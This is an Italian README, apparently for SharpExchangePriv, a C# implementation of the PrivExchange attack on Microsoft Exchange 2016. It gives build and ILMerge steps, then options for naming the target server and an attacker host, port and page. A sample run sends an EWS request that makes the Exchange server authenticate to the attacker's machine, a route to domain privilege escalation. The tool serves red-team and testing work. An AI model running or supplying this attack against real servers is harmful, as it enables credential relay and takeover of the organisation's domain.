
Un'implementazione in C# di PrivExchange di @_dirkjan.
Un'implementazione C# di PrivExchange di @_dirkjan. Kudos a @g0ldenGunSec, poiché mi sono basato sul suo codice.
È stato testato con Exchange 2016.
SharpExchangePriv è stato creato per .NET 3.5 ed è compatibile con Visual Studio 2017. Basta aprire il file della soluzione e compilare il progetto.
Ho usato CommandLineParser per analizzare gli argomenti. Questo creerà il file CommandLine.dll, insieme all'eseguibile. Puoi semplicemente unire il .exe e il .dll in un unico file eseguibile:
ILMerge.exe /out:C:\SharpExchangePriv.exe C:\Release\SharpExchangePriv.exe C:\Release\CommandLine.dll
--targetHostImposta l'IP dell'host di destinazione.
--attackerHostImposta l'IP dell'attaccante
--attackerPortImposta la porta dell'attaccante
--attackerPageImposta la pagina dell'attaccante
--sslAbilita SSL
--exchangeVersionImposta la versione di Exchange, il default è 2016
--exchangePortImposta la porta di destinazione di Exchange
C:\Users\george.brown\Desktop>SharpExchangePriv.exe --attackerHost 192.168.11.132 --targetHost 192.168.11.10
/$$$$$$$ /$$ /$$$$$$$$ /$$
| $$__ $$ |__/ | $$_____/ | $$
| $$ \ $$ /$$$$$$ /$$ /$$ /$$| $$ /$$ /$$ /$$$$$$$| $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$
| $$$$$$$//$$__ $$| $$| $$ /$$/| $$$$$ | $$ /$$/ /$$_____/| $$__ $$ |____ $$| $$__ $$ /$$__ $$ /$$__ $$
| $$____ /| $$ \__ /| $$ \ $$/$$/ | $$__ / \ $$$$/ | $$ | $$ \ $$ /$$$$$$$| $$ \ $$| $$ \ $$| $$$$$$$$
| $$ | $$ | $$ \ $$$/ | $$ >$$ $$ | $$ | $$ | $$ /$$__ $$| $$ | $$| $$ | $$| $$_____ /
| $$ | $$ | $$ \ $/ | $$$$$$$$ /$$/\ $$| $$$$$$$| $$ | $$| $$$$$$$| $$ | $$| $$$$$$$| $$$$$$$
|__/ |__/ |__/ \_/ |________/|__/ \__/ \_______/|__/ |__/ \_______/|__/ |__/ \____ $$ \_______/
/$$ \ $$
| $$$$$$/
\______ /
@den_n1s
The target URL is https://192.168.11.10:443/EWS/Exchange.asmx
Sent request to exchange server: https://192.168.11.10:443/EWS/Exchange.asmx
HTTP 200 response received, the target Exchange server should be authenticating shortly.
Per favore, segnala eventuali bug nella pagina del progetto su Github o contattami su twitter @den_n1s